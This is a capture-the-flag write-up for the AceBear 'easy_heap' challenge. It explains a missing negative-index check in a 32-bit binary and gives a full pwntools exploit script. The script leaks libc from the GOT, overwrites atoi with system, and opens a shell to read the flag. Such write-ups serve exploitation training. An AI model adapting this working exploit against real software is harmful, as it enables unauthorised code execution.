easy_heap (43 Solves) (100 points)
Attachment: easy_heap easyheap_libc.so.6 xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
***************************Welcome to easy heap***************************
* *
*************************Challenge Created By CNV*************************
* Team: AceBear *
* My blog: https://chung96vn.blogspot.com/ *
**************************************************************************
Give me your name: AAAABBBBCCCCDDDD
Your age: 100
Wellcome: AAAABBBBCCCCDDDD
***************Menu****************
1 - Create Name
2 - Edit Name
3 - Delete Name
4 - Show Name
5 - Exit
***************Menu****************
Pretty easy challenge to get started with, but was asked to post a writeup for this, so here we go…
From the menu, one could assume this would be some heap challenge with UAF or something similar. But no heap involved at all for solving this.
Let’s check the function for showing a name:
void show_name()
{
printf("Index: ");
int idx = read_number();
if ( idx > 9 ) {
puts("Out of list name (0 <= index < 10)!!!");
return;
}
if ( !names[idx] ) {
puts("None name");
return;
}
printf("This name %d is: %s\n", idx, names[idx]);
puts("Done!");
}
It only checks the upper boundaries but fails on checking for negative indices.
So let’s take a look at the surrounding memory of the names
array:
0x804b000: 0x0804af14 0xf7ffd920 0xf7fec2f0 0xf7e2de10 <= GOT
0x804b010: 0xf7ea46c0 0xf7e10a80 0x080484f6 0xf7decf80
0x804b020: 0xf7e7d8e0 0x08048526 0x08048536 0xf7e27160
0x804b030: 0x08048556 0xf7dd86a0 0x08048576 0x00000000
0x804b040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b060: 0xf7f90ce0 0x00000000 0x00000000 0x00000000 <= stderr
0x804b070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b080: 0xf7f905c0 0xf7f90d80 0x00000000 0x00000000 <= stdin / stdout
0x804b090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0a0: 0x00000000 0x00000000 0x00000000 0x00000000 <= names
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e0: 0x41414141 0x42424242 0x43434343 0x44444444 <= username
0x804b0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b100: 0x00000064 0x00000000 0x00000000 0x00000000 <= age
0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000
When a name is added, it would be created on the heap, and the address for the string would be stored in the names
array.
The show_name
function would dereference the address and show the string at the corresponding location on the heap.
So to be able to do some proper leaking, we need a pointer to an interesting address. We’d want to read one of the got
entries to calculate the libc base address.
We could create one in our username and try to show
its content, but since the username is stored behind the names array, we’d need a positive index, don’t we?
Nope, we can just abuse the fact, that in 32bit subtraction an address will wrap around from 0x0
to 0xffffffff
. So we can just specify such a big negative index, that when subtracted from 0x804b0a0
goes below 0x0
wrapping to 0xffffffff
arriving at 0x804b0e0
again (the address of our username).
gdb-peda$ p/x 0x804b0a0-0x804b0e0
$1 = 0xffffffc0
gdb-peda$ p/d 0xffffffc0/4
$2 = 1073741808
If we now specify -1073741808
as the index for our buffer, the show_function
will read the pointer from 0x804b0e0
and shows the content at this address, so let’s just point this to read got
.
#!/usr/bin/python
from pwn import *
import sys
HOST = "easyheap.acebear.site"
PORT = 3002
def show(idx):
r.sendline("4")
r.sendlineafter("Index: ", str(idx))
r.recvuntil(": ")
DATA = r.recvuntil("\n", drop=True)
r.recvuntil("Your choice: ")
return DATA
def create(idx, name):
r.sendline("1")
r.sendlineafter("Index: ", str(idx))
r.sendafter("name: ", name)
r.recvuntil("Your choice: ")
def edit(idx, name):
r.sendline("2")
r.sendlineafter("Index: ", str(idx))
r.sendlineafter("name: ", name)
r.recvuntil("Your choice: ")
def delname(idx):
r.sendline("3")
r.sendlineafter("Index: ", str(idx))
r.recvuntil("Your choice: ")
def quit():
r.sendline("4")
def exploit(r):
name = p32(e.got["read"]) # Prepare pointer to read got
name += p32(e.got["atoi"]) # Prepare pointer to atoi got
name += "A"*(32-len(name))
r.sendafter("name: ", name)
r.sendafter("age: ", str(0x21))
r.recvuntil("Your choice: ")
log.info("Leak LIBC via first name ptr")
LEAK = u32(show(-1073741808)[:4]) # name[0]
libc.address = LEAK - libc.symbols["read"]
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
r.interactive()
return
if __name__ == "__main__":
e = ELF("./easy_heap")
libc = ELF("./easyheap_libc.so.6")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./easy_heap", env={"LD_PRELOAD" : "./easyheap_libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
$ python xpl.py
[+] Starting local process './easy_heap': pid 9759
[9759]
[*] Paused (press any to continue)
[*] Leak LIBC via first name ptr
[*] LEAK : 0xf764b350
[*] LIBC : 0xf7577000
[*] Switching to interactive mode
With libc address at hand, we can use the same bug in edit_name
int edit_name()
{
printf("Index: ");
int idx = read_number();
if ( idx > 9 ) {
puts("Out of list name (0 <= index < 10)!!!");
return;
}
if ( !names[idx] ) {
puts("None name");
return;
}
printf("Input new name: ");
read_string(names[idx], 32u);
puts("Done!");
}
We already prepared a pointer to atoi
directly after the read
pointer in username
, and thus can use this one to overwrite the atoi
got entry:
log.info("Overwrite atoi via second name ptr")
payload = p32(libc.symbols["system"])
edit(-1073741808+1, payload)
Since the menu handler always calls atoi
on our input to convert it into a number, we now just have to select /bin/sh
to trigger a shell (which will basically call system("/bin/sh"))
)
log.info("Send /bin/sh to trigger shell")
r.sendline("/bin/sh")
$python xpl.py 1
[*] '/vagrant/Challenges/acebear/easyheap/easy_heap'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/vagrant/Challenges/acebear/easyheap/easyheap_libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to easyheap.acebear.site on port 3002: Done
[*] Leak LIBC via first name ptr
[*] LEAK : 0xf7eb7350
[*] LIBC : 0xf7de3000
[*] Overwrite atoi via second name ptr
[*] Send /bin/sh to trigger shell
[*] Switching to interactive mode
$ cat /home/easy_heap/flag
AceBear{m4yb3_h34p_i5_3a5y_f0r_y0u}